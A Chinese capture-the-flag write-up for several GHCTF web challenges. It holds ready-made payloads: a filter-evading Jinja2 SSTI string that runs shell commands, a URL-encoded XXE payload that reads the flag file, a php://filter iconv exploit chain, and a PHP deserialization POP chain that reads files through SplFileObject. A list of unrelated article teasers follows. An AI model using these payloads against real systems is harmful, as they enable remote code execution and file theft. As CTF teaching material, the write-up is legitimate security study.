GHCTF web方向题解
upload?SSTI!
import os
import refrom flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filenameapp = Flask(__name__)# 配置信息
UPLOAD_FOLDER = 'static/uploads' # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024 # 限制上传大小为 16MBapp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):return os.path.commonpath([basedir,path])def contains_dangerous_keywords(file_path):dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]with open(file_path, 'rb') as f:file_content = str(f.read())for keyword in dangerous_keywords:if keyword in file_content:return True # 找到危险关键字,返回 Truereturn False # 文件内容中没有危险关键字
def allowed_file(filename):return '.' in filename and \filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS@app.route('/', methods=['GET', 'POST'])
def upload_file():if request.method == 'POST':# 检查是否有文件被上传if 'file' not in request.files:return jsonify({"error": "未上传文件"}), 400file = request.files['file']# 检查是否选择了文件if file.filename == '':return jsonify({"error": "请选择文件"}), 400# 验证文件名和扩展名if file and allowed_file(file.filename):# 安全处理文件名filename = secure_filename(file.filename)# 保存文件save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)file.save(save_path)# 返回文件路径(绝对路径)return jsonify({"message": "File uploaded successfully","path": os.path.abspath(save_path)}), 200else:return jsonify({"error": "文件类型错误"}), 400# GET 请求显示上传表单(可选)return '''<!doctype html><title>Upload File</title><h1>Upload File</h1><form method=post enctype=multipart/form-data><input type=file name=file><input type=submit value=Upload></form>'''@app.route('/file/<path:filename>')
def view_file(filename):try:# 1. 过滤文件名safe_filename = secure_filename(filename)if not safe_filename:abort(400, description="无效文件名")# 2. 构造完整路径file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)# 3. 路径安全检查if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):abort(403, description="禁止访问的路径")# 4. 检查文件是否存在if not os.path.isfile(file_path):abort(404, description="文件不存在")suffix=os.path.splitext(filename)[1]print(suffix)if suffix==".jpg" or suffix==".png" or suffix==".gif":return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')if contains_dangerous_keywords(file_path):# 删除不安全的文件os.remove(file_path)return jsonify({"error": "Waf!!!!"}), 400with open(file_path, 'rb') as f:file_data = f.read().decode('utf-8')tmp_str = """<!DOCTYPE html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>查看文件内容</title></head><body><h1>文件内容:{name}</h1> <!-- 显示文件名 --><pre>{data}</pre> <!-- 显示文件内容 --><footer><p>© 2025 文件查看器</p></footer></body></html>""".format(name=safe_filename, data=file_data)return render_template_string(tmp_str)except Exception as e:app.logger.error(f"文件查看失败: {str(e)}")abort(500, description="文件查看失败:{} ".format(str(e)))# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):return {"error": error.description}, 404@app.errorhandler(403)
def forbidden(error):return {"error": error.description}, 403if __name__ == '__main__':app.run("0.0.0.0",debug=False)
根据源码分析可知,我们上传上去的文件内容会被渲染,这里就可能照成ssti漏洞

根据源码,文件渲染的路径为/file/文件名

这里确实成功渲染
def contains_dangerous_keywords(file_path):dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
看了看黑名单,这里直接用fengjing
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回Falsedangerous_patterns = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]for pattern in dangerous_patterns:if pattern in s:# print("Dangerous pattern found:", pattern)return Falsereturn Trueif __name__ == "__main__":shell_payload, _ = exec_cmd_payload(waf, "ls")# config_payload = config_payload(waf)print(shell_payload)# print(f"{config_payload=}")
运行即可得到payload
{%set pi='so'[::-1]%}{%set ts=lipsum|escape|batch(22)|first|last%}{%set gl=ts*2+'globals'+ts*2%}{%set bu=ts*2+'builtins'+ts*2%}{%set im=ts*2+'import'+ts*2%}{{g.pop[gl][bu][im](pi).popen('ls').read()}}
(>﹏<)
考xxe
源码:
from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)@app.route('/')
def index():return open(__file__).read()@app.route('/ghctf',methods=['POST'])
def parse():xml=request.form.get('xml')print(xml)if xml is None:return "No System is Safe."parser = etree.XMLParser(load_dtd=True, resolve_entities=True)root = etree.fromstring(xml, parser)name=root.find('name').textreturn name or Noneif __name__=="__main__":app.run(host='0.0.0.0',port=8080)
直接POST传参xml即可
%3c%21%44%4f%43%54%59%50%45%20%74%65%73%74%20%5b%0d%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%78%78%65%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%66%6c%61%67%22%3e%0d%0a%5d%3e%0d%0a%3c%72%6f%6f%74%3e%0d%0a%20%20%20%20%3c%6e%61%6d%65%3e%26%78%78%65%3b%3c%2f%6e%61%6d%65%3e%0d%0a%3c%2f%72%6f%6f%74%3e
SQL???

这题考sqlite注入,这里可以直接用sqlmap跑

ezzzz_pickle
admin/admin123弱口令直接登录

点击读取flag,抓包

可能存在文件读取
这里直接非预期了,直接读环境变量

ez_readfile
这题的思路其实就是打cnext,但是直接用脚本的话跑不出来,感觉是吞字符的原因。
md5强碰撞,可以用工具fastcoll_v1.0.0.5.exe生成,也可以直接用网上的payload
文章https://blog.csdn.net/EC_Carrot/article/details/109527378
这里发现我bp的post传的字符是可以利用的,但是python发包不行,所以就没有直接用cnext的脚本直接跑了

然后找文章看看能不能直接本地生成payload直接打的
原来只要读这两个文件的内容即可
找到这个工具https://github.com/kezibei/php-filter-iconv
我们先利用
php://filter/convert.base64-encode/resource=/proc/self/maps
下载,然后看到这个文件里面有说明libc具体的位置
php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so
然后改成脚本里面的名字maps和libc-2.23.so放在exp的同一个目录下面

然后exp2.py写的命令是

因为我怕php的字符会吞掉或者转义之类的没掉,然后直接看flag的名字就行
php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXMU9lu2hD4rr7hkVMYeVbXXSzEq0Xl64L2BB5/YQa9%2bHlZ9S%2bn0g2vKmizWz0gHE//5Hzz1a4v7qknRG9lYkBL9jQkmv9%2bJ7c97DnK%2b0erdi6RneSNAt%2bHQmCt8uO7bV9t/ZccO2RwOzIaBVzDvw6Dihte9tTXX0neu7yXx2Lr23a5pEngF9HxKni7ML8r/de2Vy1msdgf23xv%2bdHp6%2bXvxW4/XH0v47jF299/PfT/e8C12t1199/7g5TqZfDbx7Dj83Vqw23hc%2b%2bbfNWt%2b981Z%2bA/u3PP1bIrpV9P999bfLeVxf3ya4v92nv///4/939UzQbXuMa7j/9efovw6fn%2bt%2bZT8y3P3/5vGnf9%2bcfv13%2b%2bE3q9V65/iqb7Y9/Pq74%2bO3xx2%2bF9V%2bXF9b8%2bVpRd0f/28cpn2J%2bH9/4/n/t52ybOX/WyubP/76x7//U%2bzV7/hfLHC//V/a90Gaf7PvfH%2b%2b5PX98Vvf0r7/ak%2bzzCfju9I1tYt/D3gNjZG1g2Lf19/8JnnzLSCBOSuZOvGm8t3%2bLRndHyj8C5vtcl5xpe/m3R/emDo9n/KMGjxo8ajDZBm/Ys/ZaxMui7ZVb5YtvL3IpkiZgtk7%2batOwXXdy494ev7NNY%2bIdNkKFwe2s3ql65bPDfxtu1/VS2U6oINi07daje1k1/vK/p8qbn5r%2bI/rn8/i6v9Wagg/LCNgUcS0s%2bk507/uXyfuzpuiLCeax41ffkJq79ejeqz/m2X1b7fYzSfBjPgA=
生成的poc
bp发包之后没回显,但其实已经写入了

成功拿到flag名字
f1wlxekj1lwjek1lkejzs1lwje1lwesjk1wldejlk1wcejl1kwjelk1wjcle1jklwecj1lkwcjel1kwjel1cwjl1jwlkew1jclkej1wlkcj1lkwej1lkcwjellag

非预期解,直接读docker文件名字
Popppppp
pop链构造
源码:
<?php
error_reporting(0);class CherryBlossom {public $fruit1;public $fruit2;public function __construct($a) {$this->fruit1 = $a;}function __destruct() {echo $this->fruit1;}public function __toString() {$newFunc = $this->fruit2;return $newFunc();}
}class Forbidden {private $fruit3;public function __construct($string) {$this->fruit3 = $string;}public function __get($name) {$var = $this->$name;$var[$name]();}
}class Warlord {public $fruit4;public $fruit5;public $arg1;public function __call($arg1, $arg2) {$function = $this->fruit4;return $function();}public function __get($arg1) {$this->fruit5->ll2('b2');}
}class Samurai {public $fruit6;public $fruit7;public function __toString() {$long = @$this->fruit6->add();return $long;}public function __set($arg1, $arg2) {if ($this->fruit7->tt2) {echo "xxx are the best!!!";}}
}class Mystery {public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = new $day2($day1);foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}
}class Princess {protected $fruit9;protected function addMe() {return "The time spent with xxx is my happiest time" . $this->fruit9;}public function __call($func, $args) {call_user_func([$this, $func . "Me"], $args);}
}class Philosopher {public $fruit10;public $fruit11="sr22kaDugamdwTPhG5zU";public function __invoke() {if (md5(md5($this->fruit11)) == 666) {return $this->fruit10->hey;}}
}class UselessTwo {public $hiddenVar = "123123";public function __construct($value) {$this->hiddenVar = $value;}public function __toString() {return $this->hiddenVar;}
}class Warrior {public $fruit12;private $fruit13;public function __set($name, $value) {$this->$name = $value;if ($this->fruit13 == "xxx") {strtolower($this->fruit12);}}
}class UselessThree {public $dummyVar;public function __call($name, $args) {return $name;}
}class UselessFour {public $lalala;public function __destruct() {echo "Hehe";}
}if (isset($_GET['GHCTF'])) {unserialize($_GET['GHCTF']);
} else {highlight_file(__FILE__);
}

我们最终的目的还是得走到Mystery类,通过原生类来读取flag
这里讲下**array_walk**函数
- 参数
**$arg1**:这是尝试访问的属性名称。然而,在此方法体内并没有直接使用这个参数。 **array_walk($this, ...)**:该函数会对**$this**(即当前对象)的每个元素应用用户自定义的回调函数。这里的作用是遍历对象的所有属性。- 匿名函数**:作为**
**array_walk**的第二个参数传入,它接收两个参数: **$day1**:当前属性的值。**$day2**:当前属性的名称。
最终pop链
< ?phpclass CherryBlossom {
public $fruit1;
public $fruit2;
}class Samurai {
public $fruit6;
public $fruit7;
}class Philosopher {
public $fruit10;
public $fruit11="SwjI4H8ZbLdWv6zJxOZN";
}class Princess {
//
public $fruit9;
}class Mystery {
public $SplFileObject="../../../flag44545615441084";
}$a = new
CherryBlossom();
$b = new
CherryBlossom();
$c = new
Samurai();
$d = new
Princess();
$e = new
Philosopher();
$f = new
Mystery();
$a->fruit1 =$c;
$a->fruit1->fruit6 =$d;
$a->fruit1->fruit6->fruit9 =$b;
$a->fruit1->fruit6->fruit9->fruit2 =$e;
$a->fruit1->fruit6->fruit9->fruit2->fruit10 =$f;
echo
urlencode(serialize($a));
$f是一个Mystery类的实例,那么理论上,当__get方法尝试处理SplFileObject属性时,它会尝试根据字符串"SplFileObject"创建一个新实例,并以"../../../flag44545615441084"为参数传递给构造函数。SplFileObject的构造函数需要一个有效的文件路径作为参数,若该路径有效,则会导致读取指定文件内容的行为。
类似的可以先通过FilesystemIterator函数遍历文件
相关文章:
GHCTF web方向题解
upload?SSTI! import os import refrom flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect from werkzeug.utils import secure_filename import os from werkzeug.utils import secure_filenameapp Flask(__name__)# 配置…...
Logic-RL:小参数qwen模型复现DeepSeek R1 zero
最近很多参照DeepSeek模型训练推理模型的工作,本文将深入 “Logic-RL: Unleashing LLM Reasoning with Rule-Based Reinforcement Learning” 的论文,该论文提出了一种Rule-Based Reinforcement Learning, Logic-RL框架,旨在提升 LLM 的逻辑推理能力,在qwen2.5-7b-instruct…...
CVE-2017-5645(使用 docker 搭建)
介绍: 是一个与 Apache Log4j2 相关的安全漏洞,属于远程代码执行,它可能允许攻击者通过构造恶意的日志信息 在目标系统上执行任意代码 Log4j2 介绍 Log4j2 是 Apache 的一个日志记录工具,属于 Java 应用的日志框架,它是 Log4j 的升级版,性能更好,功能更多.它被广泛的适用于 J…...
conda install 和 pip install 的区别
conda install 和 pip install 是两个常用的包安装命令,但它们在很多方面存在差异。 1. 所属管理系统不同 1.1 conda install conda install 是Anaconda和Miniconda发行版自带的包管理工具 conda 的安装命令。conda 是一个跨平台的开源包管理系统和环境管理系统&…...
蓝桥杯备考:特殊01背包问题——》集合subset
我们划分成两个集合,实际上我们只需要看一部分就行了,也就是从集合的所有元素里挑出恰好满足集合总和的一半儿,当然,如果我们的集合总和是奇数的话,我们是无论如何也挑不出刚好一半儿的,因为我们没有小数&a…...
设计模式之外观模式:原理、实现与应用
引言 外观模式(Facade Pattern)是一种结构型设计模式,它通过提供一个统一的接口来简化复杂系统的使用。外观模式隐藏了系统的复杂性,使得客户端可以通过一个简单的接口与系统交互。本文将深入探讨外观模式的原理、实现方式以及实…...
C#设计模式Demo——MVC
设计模式Demo——MVC 1.View1.1页面示例1.2View代码1.3修改界面以及代码 2.Model3.Controller4.数据结构5.枚举类型6.工具类6.1缓存信息6.2扩展类. 文件结构图 1.View 1.1页面示例 1.2View代码 using System; using System.Data; using System.Windows.Forms; using MVC模式…...
【sql靶场】第18-22关-htpp头部注入保姆级教程
目录 【sql靶场】第18-22关-htpp头部注入保姆级教程 1.回顾知识 1.http头部 2.报错注入 2.第十八关 1.尝试 2.爆出数据库名 3.爆出表名 4.爆出字段 5.爆出账号密码 3.第十九关 4.第二十关 5.第二十一关 6.第二十二关 【sql靶场】第18-22关-htpp头部注入保姆级教程…...
LabVIEW棉花穴播器排种自动监测系统
一、项目背景与行业痛点 1. 农业需求驱动 我国棉花主产区,种植面积常年超250万公顷,传统人工播种存在两大核心问题: 效率瓶颈:人均日播种面积不足0.5公顷,难以匹配规模化种植需求; 精度缺陷:人…...
【程序人生】成功人生架构图(分层模型)
文章目录 ⭐前言⭐一、根基层——价值观与使命⭐二、支柱层——健康与能量⭐三、驱动层——学习与进化⭐四、网络层——关系系统⭐五、目标层——成就与财富⭐六、顶层——意义与传承⭐外层:调节环——平衡与抗风险⭐思维导图 标题详情作者JosieBook头衔CSDN博客专家…...
golang开发支持onlyoffice的token功能
一直都没去弄token这块,想着反正docker run的时候将jwt置为false即可。 看了好多文章,感觉可以试试,但是所有文件几乎都没说思路。 根据我的理解和成功的调试,思路是: 我们先定义2个概念,一个是文档下载…...
Qt for WebAssembly程序中文乱码问题处理过程
一、环境 操作系统DeepinV23 Qt版本6.8.2 编程语言C 二、问题现象 Qt for WebAssembly应用在浏览器页面上英文字母显示正常,中文显示为乱码。 经测试分析原因为默认字体不能正常显示汉字。 三、处理过程 1.准备中文字体文件 从Windows下复制宋体简体字体文件…...
速通大厂测开
最近26届暑期实习招聘和25届春招已经开始,测开学习圈也有同学拿到offer了 今天分享一位25届秋招圈友快速拿到大厂测开offer的经历,希望对大家有所帮助 我是某211本科生,在去年暑假准备考研的间隙意外收获了某大厂测开实习offer,…...
基于Netty实现高性能HTTP反向代理
以下将分步骤实现一个基于Netty的高性能HTTP反向代理,支持动态路由、负载均衡和基础鉴权功能。 1. 项目依赖配置(Maven) 2. 定义路由规则 3. 实现HTTP反向代理服务端 4. 实现反向代理处理器 5. 实现基础鉴权 6. 性能优化策略 连接池管理…...
Spring Boot集成MyBatis与MySQL
Spring Boot集成MyBatis与MySQL开发全攻略 一、前言:现代Java持久层开发的选择 在微服务架构盛行的今天,Spring Boot以其"约定优于配置"的理念成为Java开发的事实标准。结合MyBatis这一灵活高效的ORM框架和MySQL这一成熟稳定的关系型数据库&…...
【NLP 37、实践 ⑨ NER 命名实体识别任务 LSTM + CRF 实现】
难过的事情我要反复咀嚼,嚼到它再也不能困扰我半分 —— 25.3.13 数据文件: 通过网盘分享的文件:Ner命名实体识别任务 链接: https://pan.baidu.com/s/1fUiin2um4PCS5i91V9dJFA?pwdyc6u 提取码: yc6u --来自百度网盘超级会员v3的分享 一、配…...
再学:函数可见性、特殊函数、修饰符
目录 1.可见性 2.合约特殊函数 constructor && getter 3. receive && fallback 4.view && pure 5.payable 6.自定义函数修饰符 modifier 1.可见性 public:内外部 private:内部 external:外部访问 internal&…...
基于Spring Boot的项目申报系统的设计与实现(LW+源码+讲解)
专注于大学生项目实战开发,讲解,毕业答疑辅导,欢迎高校老师/同行前辈交流合作✌。 技术范围:SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:…...
Web元件库 ElementUI元件库+后台模板页面(支持Axure9、10、11)
Axure是一款非常强大的原型设计工具,它允许设计师和开发者快速创建高保真原型,以展示应用或网站的设计和功能。通过引入各种元件库,如ElementUI元件库,可以极大地丰富Axure的原型设计能力,使其更加贴近实际开发中的UI组…...
若依excel工具类导出excel模板数据带下拉映射
导出模板代码,原理是combo属性 传递一个数组 里面是label下拉数组。 Overridepublic void downloadTemplate(HttpServletResponse response) {ExcelUtil<ThMachineryManageExcel> util new ExcelUtil<>(ThMachineryManageExcel.class);List<SysDist…...
孜然SEO静态页面生成系统V1.0
孜然SEO静态页面生成系统,1秒生成上万个不同的静态单页系统,支持URL裂变采集,采集的内容不会重复,因为程序系统自带AI重写算法,AI扩写算法,可视化的蜘蛛池系统让您更清楚的获取到信息! 可插入二…...
Python爬虫-爬取汽车之家燃油车月销量榜数据
前言 本文是该专栏的第48篇,后面会持续分享python爬虫干货知识,记得关注。 在本文中,笔者已整理18篇汽车平台相关的爬虫项目案例。对此感兴趣的同学,可以直接翻阅查看。 而本文,笔者将以汽车之家平台为例子。基于Python爬虫,实现批量爬取全部“燃油车”的月销量数据。废…...
Blender-MCP服务源码3-插件开发
Blender-MCP服务源码3-插件开发 Blender-MCP服务源码解读-如何进行Blender插件开发 1-核心知识点 1)使用Blender开发框架学习如何进行Blender调试2)学习目标1-移除所有的Blender业务-了解如何MCP到底做了什么?3)学习目标2-模拟MC…...
C语言和C++到底有什么关系?
C 读作“C 加加”,是“C Plus Plus”的简称。 顾名思义,C 就是在 C 语言的基础上增加了新特性,玩出了新花样,所以才说“Plus”,就像 Win11 和 Win10、iPhone 15 和 iPhone 15 Pro 的关系。 C 语言是 1972 年由美国贝…...
【华三】路由器交换机忘记登入密码或super密码的重启操作
【华三】路由器交换机忘记登入密码或super密码的重启操作 背景步骤跳过认证设备:路由器重启设备翻译说明具体操作 跳过当前系统配置重启设备具体操作 背景 当console口的密码忘记,或者说本地用户的密码忘记,其实这时候是登入不了路由器的&am…...
DeepSeek-prompt指令-当DeepSeek答非所问,应该如何准确的表达我们的诉求?
当DeepSeek答非所问,应该如何准确的表达我们的诉求?不同使用场景如何向DeepSeek发问?是否有指令公式? 目录 1、 扮演专家型指令2、 知识蒸馏型指令3、 颗粒度调节型指令4、 时间轴推演型指令5、 极端测试型6、 逆向思维型指令7、…...
HOVER:人形机器人的多功能神经网络全身控制器
编辑:陈萍萍的公主一点人工一点智能 HOVER:人形机器人的多功能神经网络全身控制器HOVER通过策略蒸馏和统一命令空间设计,为人形机器人提供了通用、高效的全身控制框架。https://mp.weixin.qq.com/s/R1cw47I4BOi2UfF_m-KzWg 01 介绍 1.1 摘…...
HTML中滚动加载的实现
设置div的overflow属性,可以使得该div具有滚动效果,下面以div中包含的是table来举例。 当table的元素较多,以至于超出div的显示范围的话,观察下该div元素的以下3个属性: clientHeight是div的显示高度,scrol…...
Python----计算机视觉处理(Opencv:形态学变换)
一、形态学变化 形态学变换(Morphological Transformations)是一种基于形状的图像处理技术,主要处理的对象为二值化图像。 形态学变换有两个输入和一个输出:输入为原始图像和核(即结构化元素),输…...
opencv中stitch图像融合
openv版本: opencv249 vs :2010 qt : 4.85 #include "quanjing.h"#include <iostream> #include <opencv2/core/core.hpp> #include <opencv2/highgui/highgui.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <open…...
